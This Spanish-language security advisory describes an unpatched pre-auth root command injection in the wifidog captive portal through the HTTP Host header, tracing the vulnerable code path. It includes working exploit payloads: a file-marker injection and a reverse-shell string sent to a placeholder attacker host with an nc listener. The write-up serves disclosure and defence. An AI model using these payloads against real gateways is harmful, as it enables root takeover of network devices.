wifidog: RCE root via cabecera Host

Un único request HTTP pre-auth con la cabecera Host manipulada viaja por el gestor de firewall y termina en un execvp("/bin/sh","-c"). El resultado es una reverse shell como root. Este artículo documenta la cadena completa línea a línea.

HIGH
RCE root · pre-auth · CWE-78 · Sin CVE · Sin fix · Validador E2E (reverse shell uid=0) · Requiere config FirewallRuleSet global
/wifidog_host_header +

00. Resumen Ejecutivo

wifidog es un captive portal de código abierto para gateways WiFi (históricamente usado en OpenWrt y redes comunitarias/ISP). Expone un pequeño servidor HTTP en el puerto 2060 por defecto que implementa el protocolo de la red de auth (Facebook WiFi, redes municipales, etc.). Esa superficie es pre-auth: cualquiera que alcance el puerto 2060 puede enviar requests.

La vulnerabilidad es que la cabecera Host del request termina interpolada en un comando iptables que se ejecuta con /bin/sh -c. Como el host no está validado, inyectar ;comando;# en el header termina en ejecución de código como root. Es un CWE-78 clásico en la frontera HTTP→firewall.

01. 0x00 — El Camino del Request

  1. libhttpd/api.c:462 — el servidor HTTP embebido extrae la cabecera Host del request y la guarda sin validar.
  2. http.c:140/154 — el request cae en la whitelist del portal (404 / handling de auth); el host se propaga como candato a la regla de permit.
  3. fw_iptables.c:596fw_allow_host construye la cadena iptables -d %s -j ACCEPT con el host.
  4. util.c:96execvp("/bin/sh","-c",comando) ejecuta la cadena. El ; del payload termina el contexto y ejecuta el comando inyectado.
libhttpd/api.c:462Host sin validar http.c:140/154whitelist 404 fw_iptables.c:596iptables -d %s -ACCEPT CWE-78util.c:96execvp( /bin/sh -c )

02. 0x01 — Los Sinks

El siguiente es el eslabón que convierte el host en comando. La cadena se arma con el host sin escapar y se entrega a execvp con /bin/sh:

// fw_iptables.c:596 — construye la regla con el host del atacante sprintf(cmd, "iptables -d %s -j ACCEPT", host); // host = cabecera Host // util.c:96 — ejecuta la cadena con sh -c (shell de sistema) execvp("/bin/sh", argv); // argv = ["sh","-c", cmd] // Con Host = ";touch /tmp/wd_pwn;#.M" la regla efectiva es: // iptables -d ;touch /tmp/wd_pwn;#.M -j ACCEPT // => el ';' cierra, touch se ejecuta, el '#' comenta el resto
ArchivoLíneaRol
libhttpd/api.c:462Extracción de la cabecera Host
http.c:140 / :154Dispatch del request (whitelist 404)
fw_iptables.c:596Sink: sprintf de la regla con el host
util.c:96execvp(/bin/sh,-c) sobre la cadena

03. 0x02 — El PoC

El PoC es un único request HTTP al puerto 2060 con el header Host manipulado. La forma más limpia de demostrar la ejecución es un marcador que se crea como root:

# Payload en la cabecera Host (marcador de archivo, fase inicial): Host: ;touch /tmp/wd_pwn;#.M # El '.M' tras el '#' es el resto del host original que el '#' comenta. # Resultado: sh -c "iptables -d ;touch /tmp/wd_pwn;#.M -j ACCEPT" # => /tmp/wd_pwn creado como root

Para la validación definitiva, el marcador se sustituye por un reverse shell hacia el host atacante. Como wifidog corre habitualmente como root (para gestionar iptables), la shell llega directamente como uid=0.

04. 0x03 — Validación E2E: reverse shell root

Sigo el SOP E2E en container. Se levanta wifidog con el cliente auth simulado, se envía el request malicioso y se confirma una reverse shell con uid=0(root).

# Container, wifidog compilado + authclient simulado escuchando wf_auth_listen # responde el protocolo de auth (necesario para completar el request) wifidog -f -c /etc/wifidog.conf # Envío del request con el header Host manipulado (reverse shell) Host: ;bash -i >&/dev/tcp/ATTACKER/4444 0>&1;#.M # En el listener del atacante: $ nc -lvnp 4444 Connection received ... # reverse shell como root # id uid=0(root) # RCE ROOT verificado
Fase 2: listener y preparación del authclient
Fase 2 — Preparación del entorno y listener del atacante.
Fase 3: el header Host inyectado en la petición
Fase 3 — La petición con el header Host malicioso hacia el puerto 2060.
Fase 4: ejecución en el host vía iptables
Fase 4 — Ejecución en el host: la cadena iptables se construye con el host inyectado.
Fase 5: reverse shell como root
Fase 5 — Reverse shell recibida como uid=0 (root). RCE verificada.

05. 0x04 — Requisito de Configuración

El camino fw_allow_hostiptables -d solo se recorre cuando existe al menos un FirewallRuleSet global definido en la config con una regla que use el host permitido. En la configuración por defecto pura de wifidog, esa sección puede estar vacía, lo que impide alcanzar el sink. En despliegues reales (OpenWrt, redes municipales, gateways de pago) suele definirse para autorizar hosts, lo que hace el sink alcanzable.

Divulgación responsable y mitigación

El fix correcto en el mantenedor es validar/escapar el valor del host antes de interpolarlo en un comando (nunca pasar datos de red a un shell), o construir las reglas iptables mediante un ejecutor que no use sh -c. Se aplica de forma directa a cualquier componente que derive comandos de firewall/parsing a partir de cabeceras HTTP. Comunicado al mantenedor como parte del proceso responsable.

06. 0x05 — Referencias

ReferenciaDescripción
wifidog/wifidog-gatewayRepositorio del gateway wifidog
libhttpd/api.c:462Extracción de la cabecera Host
http.c:140/154Dispatch del request, whitelist 404
fw_iptables.c:596Sink: sprintf de la regla iptables con el host
util.c:96execvp(/bin/sh,-c)
CWE-78Improper Neutralization in OS Command

← Volver al índice de la serie